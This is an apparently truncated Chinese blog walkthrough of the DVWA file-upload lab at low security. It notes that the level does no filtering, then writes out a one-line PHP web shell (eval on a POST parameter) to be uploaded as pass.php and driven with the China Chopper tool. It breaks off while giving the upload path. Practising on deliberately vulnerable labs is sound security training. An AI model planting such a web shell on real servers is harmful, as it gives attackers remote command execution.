dvwa之 file upload （low）一句話木馬和中國菜刀

low等級的可以使用一句話木馬和中國菜刀 低等級的沒有對於上傳做任何的過濾或者是防護，所以直接用一句話木馬進行上傳即可（相關原理可以參照其他大佬的） 首先直接用一個txt裏面構造一句話木馬即可：（php）：<?php @eval($_POST['pass']);?> 直接命名爲pass.php即可（只是針對low等級），然後上傳 上傳成功，路徑如下：../../hackable/uploads/p

>>阅读原文<<